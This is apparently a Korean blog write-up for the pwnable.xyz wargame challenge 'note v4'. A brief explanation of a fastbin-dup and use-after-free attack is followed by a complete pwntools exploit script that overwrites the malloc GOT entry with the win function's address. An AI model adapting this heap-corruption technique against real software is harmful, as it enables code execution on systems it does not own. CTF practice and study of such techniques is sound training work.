본문으로 바로가기

pwnable.xyz / note v4

category Wargame/pwnable.xyz 2020. 5. 30. 17:15

fastbin dup에 UAF 등 온갖 버그는 다 터지는데 leak이 불가능해서 좀 짜증난다.

 

노트를 충분히 많이 만들고 CurrentNote를 0x71 쯤으로 설정한 뒤 fastbin corrupt으로 해당 위치에 0x70 크기 Data chunk를 만든다.

0x6022C0에 FirstNote 구조체가 있기 때문에 Data를 수정해서 FirstNote.Data 포인터를 움직일 수 있다. 함수 got로 옮기고 FirstNote의 Data를 수정해서 win을 덮어씌우면 끝.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
from pwn import *
import argparse


def CreateNotes(count:int) :
    p.writelineafter(b'> 'b'1')
    p.writelineafter(b': 'str(count).encode())

def SelectNote(idx:int) :
    p.writelineafter(b'> 'b'2')
    p.writelineafter(b': 'str(idx).encode())

def EditNote(data:bytes) :
    p.writelineafter(b'> 'b'3')
    p.writelineafter(b': ', data)

def DeleteNote() :
    p.writelineafter(b'> 'b'4')

def exploit() :
    CreateNotes(0x80)
    SelectNote(0x80)
    DeleteNote()
    SelectNote(0x80)
    EditNote(p64(0x602298))   # &CurrentNote - 8
    SelectNote(0x71)
    CreateNotes(2)
    SelectNote(0x81)
    EditNote(b'\x00'*0x28 + p64(0x602070))   # malloc@got
    SelectNote(0)
    EditNote(p64(0x400DD9))   # win
    CreateNotes(1)

    p.interactive()


if __name__ == '__main__' :
    parser = argparse.ArgumentParser()
    parser.add_argument('-r''--remote'action='store_true'help='connect to remote server')
    args = parser.parse_args()

    if args.remote :
        p = connect('svc.pwnable.xyz'30046)
    else :
        p = process('./challenge')

    exploit()

 

 

 

Last update: 5/30/2020

'Wargame > pwnable.xyz' 카테고리의 다른 글

pwnable.xyz / AdultVM 2  (0) 2020.06.11
pwnable.xyz / AdultVM  (2) 2020.05.31
pwnable.xyz / fishing  (0) 2020.05.30
pwnable.xyz / BabyVM  (0) 2020.05.22
pwnable.xyz / knum  (0) 2020.05.22